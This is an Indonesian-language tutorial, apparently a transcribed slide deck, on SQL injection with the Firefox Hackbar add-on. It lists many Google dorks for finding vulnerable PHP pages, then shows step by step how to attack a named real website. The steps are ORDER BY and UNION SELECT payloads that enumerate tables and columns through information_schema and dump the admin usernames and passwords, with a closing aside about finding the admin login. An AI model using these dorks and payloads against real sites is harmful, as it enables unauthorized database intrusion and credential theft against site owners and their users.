Sql injection dengan hackbar
description
Transcript of Sql injection dengan hackbar
[ by : x1nj3ct ] Page 1
Sql injection dengan hackbar
Apa itu SQL Injection ?
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat meng insert
perintah-perintah SQL melalui url untuk dieksekusi oleh database.
Penyebab utama dari celah ini adalah variable yang kurang
di filter :
id=$id;……. >
Got Error
Hal pertama yang harus kamu lakukan adalah
mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan
membuat sebuah error dengan menambahkan karakter ‘ setelah / sesudah angka pada url
Contoh : http://situsq.com/berita.php?id=14’
http://situsq.com/berita.php?id=’14
Apabila terlihat pesan error seperti ini :
You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
Maka bisa dipastikan situs tersebut terdapat celah SQL Injection…
[ by : x1nj3ct ] Page 2
Sedang kan Apa itu hackbar?
Hackbar adalah sebuah addons browser Firefox yang fungsinya cukup bnyak.. saya bikin
postingan ini karena sekarang lagi sering pake addons ini, khususnya untuk programing web..
Hackbar ini sebenarnya berfungsi untuk menguji sistem kita misalnya dari sql injection.. atau
XSS attack.. atau mengenkripsi password md5 ataupun SHA-1
Hackbar bias di dapat disini:
https://addons.mozilla.org/id/firefox/addon/hackbar/
Sekarang kita mulai SQL Injectionnya
Pertama yang kita lakukan adalah mencari web yang vuln SQLi ( ada bug sqlinjection ) dengan
sebuah dork
inurl:trainers.php?id= inurl:buy.php?category=
inurl:article.php?ID= inurl:play_old.php?id=
inurl:declaration_more.php?decl_id= inurl:pageid=
inurl:games.php?id=
inurl:page.php?file= inurl:newsDetail.php?id=
inurl:gallery.php?id= inurl:article.php?id=
inurl:show.php?id= inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id= inurl:top10.php?cat=
inurl:historialeer.php?num= inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num= inurl:game.php?id=
inurl:view_product.php?id= inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id= inurl:avd_start.php?avd=
inurl:event.php?id=
[ by : x1nj3ct ] Page 3
inurl:product-item.php?id=
inurl:sql.php?id= inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id= inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id= inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id= inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id= inurl:index.php?id=
inurl:faq2.php?id= inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id= inurl:opinions.php?id=
inurl:spr.php?id= inurl:pages.php?id=
inurl:announce.php?id= inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id= inurl:main.php?id=
inurl:review.php?id= inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id= inurl:viewphoto.php?id=
inurl:article.php?id= inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id= inurl:view.php?id=
inurl:website.php?id= inurl:hosting_info.php?id=
inurl:gallery.php?id= inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id= inurl:detail.php?ID=
inurl:index.php?= inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id= inurl:fellows.php?id=
inurl:downloads_info.php?id= inurl:prod_info.php?id=
inurl:shop.php?do=part&id= inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
[ by : x1nj3ct ] Page 4
inurl:product.php?id=
inurl:releases.php?id= inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id= inurl:shopping.php?id=
inurl:productdetail.php?id= inurl:post.php?id=
inurl:viewshowdetail.php?id= inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id= inurl:theme.php?id=
inurl:page.php?id= inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID= inurl:shop_category.php?id=
inurl:transcript.php?id= inurl:channel_id=
inurl:item_id= inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id= inurl:news_display.php?getid=
inurl:index2.php?option= inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id= inurl:event.php?id=
inurl:product-item.php?id= inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id= inurl:loadpsb.php?id=
inurl:pages.php?id= inurl:material.php?id=
inurl:clanek.php4?id= inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id= inurl:viewapp.php?id=
inurl:viewphoto.php?id= inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id= inurl:iniziativa.php?in=
inurl:curriculum.php?id= inurl:labels.php?id=
inurl:story.php?id= inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
[ by : x1nj3ct ] Page 5
inurl:material.php?id=
inurl:opinions.php?id= inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l= inurl:tekst.php?idt=
inurl:newscat.php?id= inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr= inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm= inurl:title.php?id=
buy.php?category= article.php?ID=
play_old.php?id=
declaration_more.php?decl_id= Pageid=
games.php?id= page.php?file=
newsDetail.php?id= gallery.php?id=
article.php?id=
play_old.php?id= show.php?id=
staff_id= newsitem.php?num=
readnews.php?id=
top10.php?cat= historialeer.php?num=
reagir.php?num= forum_bds.php?num=
game.php?id=
view_product.php?id= newsone.php?id=
sw_comment.php?id= news.php?id=
avd_start.php?avd= event.php?id=
product-item.php?id=
sql.php?id= news_view.php?id=
select_biblio.php?id= humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id= communique_detail.php?id=
sem.php3?id= kategorie.php4?id=
faq2.php?id= show_an.php?id=
preview.php?id=
loadpsb.php?id=
[ by : x1nj3ct ] Page 6
opinions.php?id=
spr.php?id= pages.php?id=
announce.php?id=
clanek.php4?id= participant.php?id=
download.php?id= main.php?id=
review.php?id= chappies.php?id=
read.php?id=
prod_detail.php?id= viewphoto.php?id=
article.php?id= play_old.php?id=
declaration_more.php?decl_id=
category.php?id= publications.php?id=
fellows.php?id= downloads_info.php?id=
prod_info.php?id= shop.php?do=part&id=
Productinfo.php?id=
website.php?id= Productinfo.php?id=
showimg.php?id= view.php?id=
rub.php?idr=
view_faq.php?id= artikelinfo.php?id=
detail.php?ID= collectionitem.php?id=
band_info.php?id=
product.php?id= releases.php?id=
ray.php?id= produit.php?id=
pop.php?id= shopping.php?id=
productdetail.php?id=
post.php?id= viewshowdetail.php?id=
clubpage.php?id= memberInfo.php?id=
section.php?id=
theme.php?id= page.php?id=
shredder-categories.php?id= tradeCategory.php?id=
shop_category.php?id= transcript.php?id=
channel_id=
item_id=
[ by : x1nj3ct ] Page 7
newsid=
trainers.php?id= buy.php?category=
article.php?ID=
play_old.php?id= iniziativa.php?in=
detail_new.php?id= tekst.php?idt=
newscat.php?id= newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr= offer.php?idf=
hotel.php?id= art.php?idm=
title.php?id=
look.php?ID= story.php?id=
labels.php?id= review.php?id=
chappies.php?id= news-full.php?id=
news_display.php?getid=
index2.php?option= ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc() "id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start() "id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown() "id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result() "id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query() "id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()
Sebenarnya dork itu banyak tapi kemnculan dork-dork baru tergantung kreatifitas individu
masing-masing
Copas ( copy paste ) salah satu dork tersebut ke google search
Setelah itu kita pilih salah satu url dari hasil dork tersebut
Contoh:
http://www.zenfocus.com/partners.php?id=2
sekarang kita tes url tersebuta apakah vuln SQLi apa tidak dengan menambahkan tanda ‘ di
belakang angka
[ by : x1nj3ct ] Page 8
contoh:
http://www.zenfocus.com/partners.php?id=2’
dan hasil yang kita dapat adalah
Di gambar tersebut kita lihat bahwa situs ini vuln SQLi ( mempunyai bug SQL injection)
Sekarang kita cari tau jumlah table di databasenya dengan perintah “order by”
Bagaimana kita agar mengetahui jumlah table di database yaitu dengan cara melihat awal
terjadinya error kembali
Contoh:
http://www.zenfocus.com/partners.php?id=2 order by 1-- no error
http://www.zenfocus.com/partners.php?id=2 order by 2-- no error
http://www.zenfocus.com/partners.php?id=2 order by 3-- no error
http://www.zenfocus.com/partners.php?id=2 order by 4-- no error
http://www.zenfocus.com/partners.php?id=2 order by 5-- no error
http://www.zenfocus.com/partners.php?id=2 order by 6-- no error
http://www.zenfocus.com/partners.php?id=2 order by 7-- error
[ by : x1nj3ct ] Page 9
Berarti jumlah kolom pada database nya ada 6 kolom
Langkah selanjutnya yaitu mengetahui dimana angka-angka yang bisa di buat injection / tempat
kita memasukkan perintah-perintah selanjutnya.
Cara untuk mengetahui angka-angka tersebut ialah dengan mengganti perintah “ order by “
dengan “ union select “ disertai berapa jumlah kolom yang kita temukan tadi dan tanda – di
depan angka
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,2,3,4,5, 6--
[ by : x1nj3ct ] Page 10
Di gambar tersebut kita lihat muncul angka 2 dan 3 nah itulah yang kita maksud dengan angka
yang kita buat memasukan perintah-perintah selanjutnya
Sekarang tahap selanjutnya ialah mengetahui versi database nya
Caranya ialah dengan memasukan perintah “ @@version “atau “ version() ” kedalam salah satu
angka yang muncul tadi
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,@@version,3,4,5, 6--
Nahh di gambar kita bisa lihat muncul 5.0.96 itu berarti database web tersebut versi 5 berarti
kita beruntung karena jika kita menemukan versi 4. maka kita akan kerepotan karena jenis
perintah SQL nya berbeda yaitu dengan menebak 1 per 1 tabel yang ada di dalam database
tersebut
Sekarang kita melangkah ke tahap selanjutnya yaitu memunculkan nama-nama table yang ada di
dalam web tersebut dengan mengganti perintah “ @@version ” dengan
“group_concat(table_name) ” dan menambahkan perintah “ from information_schema.tables
where table_schema=database() ” sesudah angka terakhir , sebelum tanda --
[ by : x1nj3ct ] Page 11
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(table_name),3,4,5,6
from information_schema.tables where table_schema=database()--
Dari gambar tersebut terlihat ada table “ admin ” jika kita menemukan web lain dan di dalamnya
tidak ada table admin maka biasanya user pass admin terletak pada kolom administrator atau
user tinggal pandai-pandainya kita mencermati setiap tabel yang kita curigai sebagai tempat user
pass admin.
Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut
Degan cara mengganti perintah “ table_name ” yang ada berada dalam perintah “
group_concat(table_name) ” dengan perintah “ column_name ” menjadi “
group_concat(column_name) ” dan mengganti perintah “ .tables ” yang berada di perintah “
information_schema.tables “ dengan perintah “ .columns ” menjadi “
information_schema.columns ” juga mengganti perintah “ table_schema=database() ” dengan
perintah “ table_name= ”
[ by : x1nj3ct ] Page 12
dan di ikuti hasil convert MySQL CHAR() nah disini keuntungan dari kita memakai hackbar
yaitu kita tidak perlu mencari converter MySQL
CHAR() ke web-web lain karena hackbar sudah
menyediakanya letaknya:
klik tombol SQL MySQL MySQL
CHAR()
setelah itu akan muncul javaScript Aplication
sebagai berikut:
kita copas ( copy paste ) nama kolom yang
berada dalam table yang kita curigai sebagai
tempat tersimpanya user pass admin
contoh tadi kita menemukan table admin jadi
kita copas ( copy paste ) admin kedalam javaScript Aplication tersebut setelah itu klik ok
sehingga perintah kita menjadi
“ http://www.zenfocus.com/partners.php?id=-2 union select
1,group_concat(column_name),3,4,5,6 from information_schema.columns where
table_name=CHAR(97, 100, 109, 105, 110)-- “
Setelah itu tekan Execute
Dan hasilnya
[ by : x1nj3ct ] Page 13
Nahh muncul kolom adminId,adminName,adminPass
Sekarang langkah selanjutnya ialah membuka data2 yang ada dalam kolom-kolom yang muncul
tersebut.
Caranya ialah mengganti perintah “ column_name “ yang berada di perintah “
group_concat(table_name) ” dengan nama-nama kolom yang kita temukan tadi yaitu
“adminId,adminName,adminPass ” sehingga menjadi “
group_concat(adminId,adminName,adminPass) ” dan mengganti perintah “ from
information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)—“ dengan
perintah “from admin—“ perintah admin ini saya dapat dari nama table yang kita temukan
tadi, jangan lupa menambahkan perintah 0x3a pada sela-sela nama kolom tadi 0x3a adalah hasil
hexa dari tanda :
Sehingga jika digabung perintah nya menjadi
http://www.zenfocus.com/partners.php?id=-2 union select
1,group_concat(adminId,0x3a,adminName,0x3a,adminPass),3,4,5,6 from admin—
tekan Execute
[ by : x1nj3ct ] Page 14
Dan hasilnya
Setelah itu tinggal nyari admin loginya heheheheh
Sebenarnya banyak variasi sql injection semunya tergantung individu masing-masing mau pakai
cara mana yang paling nyaman buat dia
Ingat
“ Jika kalian jatuh bangkitlah, jika kalian jatuh lagi maka bangkitlah lagi, dan jika kalian masih jatuh juga maka jangan pernah putus asa untuk bangkit lagi ”
Salam dari saya